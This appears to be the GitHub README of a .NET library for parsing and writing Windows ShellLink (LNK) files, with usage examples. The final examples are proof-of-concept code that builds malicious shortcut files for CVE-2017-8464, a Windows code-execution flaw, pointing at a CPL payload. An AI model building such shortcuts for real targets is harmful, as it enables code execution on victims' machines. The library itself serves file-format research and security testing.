- Notifications
You must be signed in to change notification settings - Fork42
A .NET Class Library for processing ShellLink (LNK) files
License
NotificationsYou must be signed in to change notification settings
securifybv/ShellLink
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
A .NET Class Library for processing ShellLink (LNK) files as documented inMS-SHLLINK. It allows for reading, creating and modifying ShellLink (LNK) files.
Note this Class Library depends on thePropertyStore Class Library.
Console.WriteLine(Shortcut.ReadFromFile(@"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Paint.lnk"));Shortcut:HeaderSize: 76 (0x4C)LinkCLSID: 00021401-0000-0000-c000-000000000046LinkFlags: HasName, HasIconLocation, IsUnicode, ForceNoLinkInfo, HasExpString, EnableTargetMetadata, PreferEnvironmentPathFileAttributes: 0CreationTime: 1/1/1601 12:00:00 AMAccessTime: 1/1/1601 12:00:00 AMWriteTime: 1/1/1601 12:00:00 AMFileSize: 0 (0x0)IconIndex: 0ShowCommand: SW_SHOWNORMALHotKey: 0StringData:NameString: @%SystemRoot%\system32\shell32.dll,-22566IconLocation: %windir%\system32\mspaint.exeExtraData:EnvironmentVariableDataBlock:BlockSize: 788 (0x314)BlockSignature: 0xA0000001TargetAnsi: %windir%\system32\mspaint.exeTargetUnicode: %windir%\system32\mspaint.exePropertyStoreDataBlock:BlockSize: 102 (0x66)BlockSignature: 0xA0000009SerializedPropertyStorage:StorageSize: 45 (0x2D)Version: 0x53505331FormatID: 46588ae2-4cbc-4338-bbfc-139326986dceIntegerName:ValueSize: 17 (0x11)ID: 0x0TypedPropertyValue:Type: VT_UI4Value: 0SerializedPropertyStorage:StorageSize: 45 (0x2D)Version: 0x53505331FormatID: 9f4c2855-9f79-4b39-a8d0-e1d42de1d5f3IntegerName:ValueSize: 17 (0x11)ID: 0x12TypedPropertyValue:Type: VT_UI4Value: 1Shortcut.CreateShortcut(@"%SystemRoot%\System32\calc.exe").WriteToFile(@"calc.lnk");Shortcut.CreateShortcut(@"%SystemRoot%\System32\cmd.exe", "/c calc.exe", @"%SystemRoot%\System32\calc.exe", 0).WriteToFile(@"calc2.lnk");new Shortcut(){LinkTargetIDList = new LinkTargetIDList(){Path = @"C:\Windows\System32\calc.exe"}}.WriteToFile(@"calc3.lnk");Shortcut PowerShellLnk = Shortcut.ReadFromFile(Environment.ExpandEnvironmentVariables(@"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk"));// change the background colorPowerShellLnk.ExtraData.ConsoleDataBlock.FillAttributes &= ~FillAttributes.BACKGROUND_BLUE;PowerShellLnk.WriteToFile(@"PowerShell.lnk");Shortcut poc = new Shortcut(){IconIndex = 0,LinkFlags = LinkFlags.IsUnicode,LinkTargetIDList = new CplLinkTargetIDList(@"E:\target.cpl"),};int Index = poc.LinkTargetIDList.ItemIDList.Count - 1;poc.ExtraData.SpecialFolderDataBlock = new SpecialFolderDataBlock(){SpecialFolderID = CSIDL.CSIDL_CONTROLS,Offset = poc.LinkTargetIDList.GetOffsetByIndex(Index)};poc.WriteToFile(@"CVE-2017-8464.lnk");Shortcut poc2 = new Shortcut(){IconIndex = 0,LinkFlags = LinkFlags.IsUnicode,LinkTargetIDList = new CplLinkTargetIDList(@"E:\target.cpl")};int Index = poc2.LinkTargetIDList.ItemIDList.Count - 1;poc2.ExtraData.KnownFolderDataBlock = new KnownFolderDataBlock(){KnownFolderID = KNOWNFOLDERID.FOLDERID_ControlPanelFolder,Offset = poc2.LinkTargetIDList.GetOffsetByIndex(Index)};poc2.WriteToFile(@"CVE-2017-8464-2.lnk");